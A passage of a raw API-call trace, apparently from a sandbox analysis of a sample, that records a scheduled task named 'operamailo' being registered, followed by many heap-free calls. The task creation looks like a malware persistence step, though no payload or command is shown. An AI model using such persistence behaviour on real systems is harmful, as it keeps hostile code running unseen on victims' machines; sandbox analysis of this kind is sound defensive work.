lpSystemTime=0x23c958 | out: lpSystemTime=0x23c958*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x12, wSecond=0x3b, wMilliseconds=0x250)) [0135.681] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0135.681] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0135.682] GetUserNameW (in: lpBuffer=0x23c980, pcbBuffer=0x23c968 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x23c968) returned 1 [0135.682] ITaskDefinition:get_RegistrationInfo (in: This=0x3c7c10, ppRegistrationInfo=0x23c950 | out: ppRegistrationInfo=0x23c950*=0x3c7d50) returned 0x0 [0135.682] IRegistrationInfo:put_Author (This=0x3c7d50, Author="") returned 0x0 [0135.682] _vsnwprintf (in: _Buffer=0x23c980, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x23c918 | out: _Buffer="2022-08-06T02:18:59") returned 19 [0135.682] IRegistrationInfo:put_Date (This=0x3c7d50, Date="") returned 0x0 [0135.682] IUnknown:Release (This=0x3c7d50) returned 0x1 [0135.683] malloc (_Size=0x18) returned 0x3c7b50 [0135.683] free (_Block=0x3c7b50) [0135.683] lstrlenW (lpString="") returned 0 [0135.683] malloc (_Size=0x18) returned 0x3c7b50 [0135.683] ITaskFolder:RegisterTaskDefinition (in: This=0x3c7bc0, Path="operamailo", pDefinition=0x3c7c10, flags=6, UserId=0x23cbf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x23cc30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x23eb00, varVal2=0xfe), LogonType=3, sddl=0x23cc10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x23cb10 | out: ppTask=0x23cb10*=0x3c61c0) returned 0x0 [0135.829] free (_Block=0x3c7b50) [0135.829] _memicmp (_Buf1=0x7ba60, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.829] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x7d250, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0135.829] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0135.829] GetProcessHeap () returned 0x60000 [0135.829] GetProcessHeap () returned 0x60000 [0135.829] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d5b0) returned 1 [0135.829] GetProcessHeap () returned 0x60000 [0135.829] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d5b0) returned 0xc [0135.829] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d5b0 | out: hHeap=0x60000) returned 1 [0135.830] GetProcessHeap () returned 0x60000 [0135.830] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x82) returned 0x99910 [0135.830] _vsnwprintf (in: _Buffer=0x23d250, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x23cab8 | out: _Buffer="SUCCESS: The scheduled task \"operamailo\" has successfully been created.\n") returned 72 [0135.830] _fileno (_File=0x7fefed02ab0) returned -2 [0135.830] _errno () returned 0x3c4bb0 [0135.830] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0135.830] SetLastError (dwErrCode=0x6) [0135.830] lstrlenW (lpString="SUCCESS: The scheduled task \"operamailo\" has successfully been created.\n") returned 72 [0135.830] GetConsoleOutputCP () returned 0x0 [0135.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"operamailo\" has successfully been created.\n", cchWideChar=72, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 72 [0135.830] GetConsoleOutputCP () returned 0x0 [0135.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"operamailo\" has successfully been created.\n", cchWideChar=72, lpMultiByteStr=0xffef1880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"operamailo\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 72 [0135.830] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 72 [0135.831] fflush (in: _File=0x7fefed02ab0 | out: _File=0x7fefed02ab0) returned -1 [0135.831] IUnknown:Release (This=0x3c61c0) returned 0x0 [0135.831] TaskScheduler:IUnknown:Release (This=0x3c7c10) returned 0x0 [0135.831] TaskScheduler:IUnknown:Release (This=0x3c7bc0) returned 0x0 [0135.831] TaskScheduler:IUnknown:Release (This=0x3c7990) returned 0x1 [0135.831] lstrlenW (lpString="") returned 0 [0135.831] lstrlenW (lpString="10") returned 2 [0135.831] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="10", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0135.831] GetProcessHeap () returned 0x60000 [0135.831] GetProcessHeap () returned 0x60000 [0135.831] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7c220) returned 1 [0135.831] GetProcessHeap () returned 0x60000 [0135.831] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7c220) returned 0x1fc [0135.832] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7c220 | out: hHeap=0x60000) returned 1 [0135.832] GetProcessHeap () returned 0x60000 [0135.832] GetProcessHeap () returned 0x60000 [0135.832] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7b960) returned 1 [0135.832] GetProcessHeap () returned 0x60000 [0135.832] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7b960) returned 0x6 [0135.832] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7b960 | out: hHeap=0x60000) returned 1 [0135.832] GetProcessHeap () returned 0x60000 [0135.832] GetProcessHeap () returned 0x60000 [0135.832] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d490) returned 1 [0135.832] GetProcessHeap () returned 0x60000 [0135.832] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d490) returned 0x16 [0135.832] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d490 | out: hHeap=0x60000) returned 1 [0135.832] GetProcessHeap () returned 0x60000 [0135.832] GetProcessHeap () returned 0x60000 [0135.832] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d4b0) returned 1 [0135.832] GetProcessHeap () returned 0x60000 [0135.832] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d4b0) returned 0x18 [0135.832] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d4b0 | out: hHeap=0x60000) returned 1 [0135.832] GetProcessHeap () returned 0x60000 [0135.832] GetProcessHeap () returned 0x60000 [0135.833] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cd20) returned 1 [0135.833] GetProcessHeap () returned 0x60000 [0135.833] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cd20) returned 0x20 [0135.833] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7cd20 | out: hHeap=0x60000) returned 1 [0135.833] GetProcessHeap () returned 0x60000 [0135.833] GetProcessHeap () returned 0x60000 [0135.833] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7bfc0) returned 1 [0135.833] GetProcessHeap () returned 0x60000 [0135.833] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7bfc0) returned 0xa0 [0135.833] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7bfc0 | out: hHeap=0x60000) returned 1 [0135.834] GetProcessHeap () returned 0x60000 [0135.834] GetProcessHeap () returned 0x60000 [0135.834] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7ba40) returned 1 [0135.834] GetProcessHeap () returned 0x60000 [0135.834] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7ba40) returned 0x18 [0135.834] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7ba40 | out: hHeap=0x60000) returned 1 [0135.834] GetProcessHeap () returned 0x60000 [0135.834] GetProcessHeap () returned 0x60000 [0135.834] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cae0) returned 1 [0135.834] GetProcessHeap () returned 0x60000 [0135.834] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cae0) returned 0x20 [0135.834] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7cae0 | out: hHeap=0x60000) returned 1 [0135.834] GetProcessHeap () returned 0x60000 [0135.834] GetProcessHeap () returned 0x60000 [0135.834] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x792c0) returned 1 [0135.834] GetProcessHeap () returned 0x60000 [0135.834] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x792c0) returned 0x3c [0135.835] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x792c0 | out: hHeap=0x60000) returned 1 [0135.835] GetProcessHeap () returned 0x60000 [0135.835] GetProcessHeap () returned 0x60000 [0135.835] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d530) returned 1 [0135.835] GetProcessHeap () returned 0x60000 [0135.835] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d530) returned 0x18 [0135.835] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d530 | out: hHeap=0x60000) returned 1 [0135.835] GetProcessHeap () returned 0x60000 [0135.835] GetProcessHeap () returned 0x60000 [0135.835] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cab0) returned 1 [0135.835] GetProcessHeap () returned 0x60000 [0135.835] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cab0) returned 0x20 [0135.835] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7cab0 | out: hHeap=0x60000) returned 1 [0135.835] GetProcessHeap () returned 0x60000 [0135.835] GetProcessHeap () returned 0x60000 [0135.835] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x79270) returned 1 [0135.835] GetProcessHeap () returned 0x60000 [0135.835] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x79270) returned 0x3e [0135.836] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x79270 | out: hHeap=0x60000) returned 1 [0135.836] GetProcessHeap () returned 0x60000 [0135.836] GetProcessHeap () returned 0x60000 [0135.836] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d510) returned 1 [0135.836] GetProcessHeap () returned 0x60000 [0135.836] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d510) returned 0x18 [0135.836] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d510 | out: hHeap=0x60000) returned 1 [0135.836] GetProcessHeap () returned 0x60000 [0135.836] GetProcessHeap () returned 0x60000 [0135.836] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7ca80) returned 1 [0135.836] GetProcessHeap () returned 0x60000 [0135.836] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7ca80) returned 0x20 [0135.836] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7ca80 | out: hHeap=0x60000) returned 1 [0135.836] GetProcessHeap () returned 0x60000 [0135.836] GetProcessHeap () returned 0x60000 [0135.836] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d4f0) returned 1 [0135.836] GetProcessHeap () returned 0x60000 [0135.836] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d4f0) returned 0xe [0135.836] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d4f0 | out: hHeap=0x60000) returned 1 [0135.836] GetProcessHeap () returned 0x60000 [0135.836] GetProcessHeap () returned 0x60000 [0135.837] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d4d0) returned 1 [0135.837] GetProcessHeap () returned 0x60000 [0135.837] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d4d0) returned 0x18 [0135.837] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d4d0 | out: hHeap=0x60000) returned 1 [0135.837] GetProcessHeap () returned 0x60000 [0135.837] GetProcessHeap () returned 0x60000 [0135.837] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75d20) returned 1 [0135.837] GetProcessHeap () returned 0x60000 [0135.837] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75d20) returned 0x20 [0135.837] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75d20 | out: hHeap=0x60000) returned 1 [0135.837] GetProcessHeap () returned 0x60000 [0135.837] GetProcessHeap () returned 0x60000 [0135.837] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7bbc0) returned 1 [0135.837] GetProcessHeap () returned 0x60000 [0135.837] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7bbc0) returned 0x208 [0135.838] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7bbc0 | out: hHeap=0x60000) returned 1 [0135.838] GetProcessHeap () returned 0x60000 [0135.838] GetProcessHeap () returned 0x60000 [0135.838] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7ba20) returned 1 [0135.838] GetProcessHeap () returned 0x60000 [0135.838] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7ba20) returned 0x18 [0135.838] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7ba20 | out: hHeap=0x60000) returned 1 [0135.838] GetProcessHeap () returned 0x60000 [0135.838] GetProcessHeap () returned 0x60000 [0135.838] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75c30) returned 1 [0135.838] GetProcessHeap () returned 0x60000 [0135.838] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75c30) returned 0x20 [0135.838] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75c30 | out: hHeap=0x60000) returned 1 [0135.838] GetProcessHeap () returned 0x60000 [0135.838] GetProcessHeap () returned 0x60000 [0135.838] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d250) returned 1 [0135.838] GetProcessHeap () returned 0x60000 [0135.839] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d250) returned 0x200 [0135.839] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d250 | out: hHeap=0x60000) returned 1 [0135.839] GetProcessHeap () returned 0x60000 [0135.839] GetProcessHeap () returned 0x60000 [0135.839] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7ba60) returned 1 [0135.839] GetProcessHeap () returned 0x60000 [0135.839] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7ba60) returned 0x18 [0135.839] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7ba60 | out: hHeap=0x60000) returned 1 [0135.839] GetProcessHeap () returned 0x60000 [0135.839] GetProcessHeap () returned 0x60000 [0135.839] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75ba0) returned 1 [0135.839] GetProcessHeap () returned 0x60000 [0135.839] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75ba0) returned 0x20 [0135.839] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75ba0 | out: hHeap=0x60000) returned 1 [0135.839] GetProcessHeap () returned 0x60000 [0135.840] GetProcessHeap () returned 0x60000 [0135.840] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7c1d0) returned 1 [0135.840] GetProcessHeap () returned 0x60000 [0135.840] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7c1d0) returned 0x14 [0135.840] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7c1d0 | out: hHeap=0x60000) returned 1 [0135.840] GetProcessHeap () returned 0x60000 [0135.840] GetProcessHeap () returned 0x60000 [0135.840] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7c1b0) returned 1 [0135.840] GetProcessHeap () returned 0x60000 [0135.840] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7c1b0) returned 0x18 [0135.840] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7c1b0 | out: hHeap=0x60000) returned 1 [0135.840] GetProcessHeap () returned 0x60000 [0135.840] GetProcessHeap () returned 0x60000 [0135.840] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75ae0) returned 1 [0135.840] GetProcessHeap () returned 0x60000 [0135.840] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75ae0) returned 0x20 [0135.840] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75ae0 | out: hHeap=0x60000) returned 1 [0135.840] GetProcessHeap () returned 0x60000 [0135.840] GetProcessHeap () returned 0x60000 [0135.840] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7c1f0) returned 1 [0135.840] GetProcessHeap () returned 0x60000 [0135.841] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7c1f0) returned 0x16 [0135.841] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7c1f0 | out: hHeap=0x60000) returned 1 [0135.841] GetProcessHeap () returned 0x60000 [0135.841] GetProcessHeap () returned 0x60000 [0135.841] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7c170) returned 1 [0135.841] GetProcessHeap () returned 0x60000 [0135.841] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7c170) returned 0x18 [0135.841] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7c170 | out: hHeap=0x60000) returned 1 [0135.841] GetProcessHeap () returned 0x60000 [0135.841] GetProcessHeap () returned 0x60000 [0135.841] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75ab0) returned 1 [0135.841] GetProcessHeap () returned 0x60000 [0135.841] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75ab0) returned 0x20 [0135.841] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75ab0 | out: hHeap=0x60000) returned 1 [0135.841] GetProcessHeap () returned 0x60000 [0135.841] GetProcessHeap () returned 0x60000 [0135.841] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7b9a0) returned 1 [0135.841] GetProcessHeap () returned 0x60000 [0135.841] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7b9a0) returned 0x2 [0135.841] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7b9a0 | out: hHeap=0x60000) returned 1 [0135.841] GetProcessHeap () returned 0x60000 [0135.842] GetProcessHeap () returned 0x60000 [0135.842] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75900) returned 1 [0135.842] GetProcessHeap () returned 0x60000 [0135.842] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75900) returned 0x20 [0135.842] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75900 | out: hHeap=0x60000) returned 1 [0135.842] GetProcessHeap () returned 0x60000 [0135.842] GetProcessHeap () returned 0x60000 [0135.842] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75930) returned 1 [0135.842] GetProcessHeap () returned 0x60000 [0135.842] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75930) returned 0x20 [0135.842] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75930 | out: hHeap=0x60000) returned 1 [0135.842] GetProcessHeap () returned 0x60000 [0135.842] GetProcessHeap () returned 0x60000 [0135.842] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75960) returned 1 [0135.842] GetProcessHeap () returned 0x60000 [0135.842] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75960) returned 0x20 [0135.843] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75960 | out: hHeap=0x60000) returned 1 [0135.843] GetProcessHeap () returned 0x60000 [0135.843] GetProcessHeap () returned 0x60000 [0135.843] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75990) returned 1 [0135.843] GetProcessHeap () returned 0x60000 [0135.843] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75990) returned 0x20 [0135.844] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75990 | out: hHeap=0x60000) returned 1 [0135.844] GetProcessHeap () returned 0x60000 [0135.844] GetProcessHeap () returned 0x60000 [0135.844] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cb10) returned 1 [0135.844] GetProcessHeap () returned 0x60000 [0135.844] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cb10) returned 0x20 [0135.844] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7cb10 | out: hHeap=0x60000) returned 1 [0135.844] GetProcessHeap () returned 0x60000 [0135.844] GetProcessHeap () returned 0x60000 [0135.844] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d630) returned 1 [0135.844] GetProcessHeap () returned 0x60000 [0135.844] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d630) returned 0xe [0135.844] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d630 | out: hHeap=0x60000) returned 1 [0135.844] GetProcessHeap () returned 0x60000 [0135.844] GetProcessHeap () returned 0x60000 [0135.844] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cb40) returned 1 [0135.844] GetProcessHeap () returned 0x60000 [0135.844] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cb40) returned 0x20 [0135.845] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7cb40 | out: hHeap=0x60000) returned 1 [0135.845] GetProcessHeap () returned 0x60000 [0135.845] GetProcessHeap () returned 0x60000 [0135.845] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x77a20) returned 1 [0135.845] GetProcessHeap () returned 0x60000 [0135.845] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x77a20) returned 0x30 [0135.845] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x77a20 | out: hHeap=0x60000) returned 1 [0135.845] GetProcessHeap () returned 0x60000 [0135.845] GetProcessHeap () returned 0x60000 [0135.845] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cb70) returned 1 [0135.845] GetProcessHeap () returned 0x60000 [0135.845] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cb70) returned 0x20 [0135.846] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7cb70 | out: hHeap=0x60000) returned 1 [0135.846] GetProcessHeap () returned 0x60000 [0135.846] GetProcessHeap () returned 0x60000 [0135.846] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x77a60) returned 1 [0135.846] GetProcessHeap () returned 0x60000 [0135.846] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x77a60) returned 0x30 [0135.846] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x77a60 | out: hHeap=0x60000) returned 1 [0135.846] GetProcessHeap () returned 0x60000 [0135.846] GetProcessHeap () returned 0x60000 [0135.846] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7ccf0) returned 1 [0135.846] GetProcessHeap () returned 0x60000 [0135.846] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7ccf0) returned 0x20 [0135.847] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7ccf0 | out: hHeap=0x60000) returned 1 [0135.847] GetProcessHeap () returned 0x60000 [0135.847] GetProcessHeap () returned 0x60000 [0135.847] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d550) returned 1 [0135.847] GetProcessHeap () returned 0x60000 [0135.847] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d550) returned 0xe [0135.847] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d550 | out: hHeap=0x60000) returned 1 [0135.847] GetProcessHeap () returned 0x60000 [0135.847] GetProcessHeap () returned 0x60000 [0135.847] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7ccc0) returned 1 [0135.847] GetProcessHeap () returned 0x60000 [0135.847] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7ccc0) returned 0x20 [0135.847] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7ccc0 | out: hHeap=0x60000) returned 1 [0135.847] GetProcessHeap () returned 0x60000 [0135.847] GetProcessHeap () returned 0x60000 [0135.847] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d570) returned 1 [0135.847] GetProcessHeap () returned 0x60000 [0135.847] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d570) returned 0x16 [0135.847] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d570 | out: hHeap=0x60000) returned 1 [0135.847] GetProcessHeap () returned 0x60000 [0135.847] GetProcessHeap () returned 0x60000 [0135.847] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cc90) returned 1 [0135.847] GetProcessHeap () returned 0x60000 [0135.848] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cc90) returned 0x20 [0135.848] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7cc90 | out: hHeap=0x60000) returned 1 [0135.848] GetProcessHeap () returned 0x60000 [0135.848] GetProcessHeap () returned 0x60000 [0135.848] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d590) returned 1 [0135.848] GetProcessHeap () returned 0x60000 [0135.848] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d590) returned 0x16 [0135.848] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d590 | out: hHeap=0x60000) returned 1 [0135.848] GetProcessHeap () returned 0x60000 [0135.848] GetProcessHeap () returned 0x60000 [0135.848] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cc60) returned 1 [0135.848] GetProcessHeap () returned 0x60000 [0135.848] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cc60) returned 0x20 [0135.849] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7cc60 | out: hHeap=0x60000) returned 1 [0135.849] GetProcessHeap () returned 0x60000 [0135.849] GetProcessHeap () returned 0x60000 [0135.849] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x99910) returned 1 [0135.849] GetProcessHeap () returned 0x60000 [0135.849] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x99910) returned 0x82 [0135.849] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x99910 | out: hHeap=0x60000) returned 1 [0135.849] GetProcessHeap () returned 0x60000 [0135.849] GetProcessHeap () returned 0x60000 [0135.849] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cc30) returned 1 [0135.849] GetProcessHeap () returned 0x60000 [0135.849] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cc30) returned 0x20 [0135.849] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7cc30 | out: hHeap=0x60000) returned 1 [0135.850] GetProcessHeap () returned 0x60000 [0135.850] GetProcessHeap () returned 0x60000 [0135.850] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d5d0) returned 1 [0135.850] GetProcessHeap () returned 0x60000 [0135.850] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d5d0) returned 0xe [0135.850] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d5d0 | out: hHeap=0x60000) returned 1 [0135.850] GetProcessHeap () returned 0x60000 [0135.850] GetProcessHeap () returned 0x60000 [0135.850] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cc00) returned 1 [0135.850] GetProcessHeap () returned 0x60000 [0135.850] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cc00) returned 0x20 [0135.850] HeapFree (in: hHeap=0x60000, dwFlags=0x0, 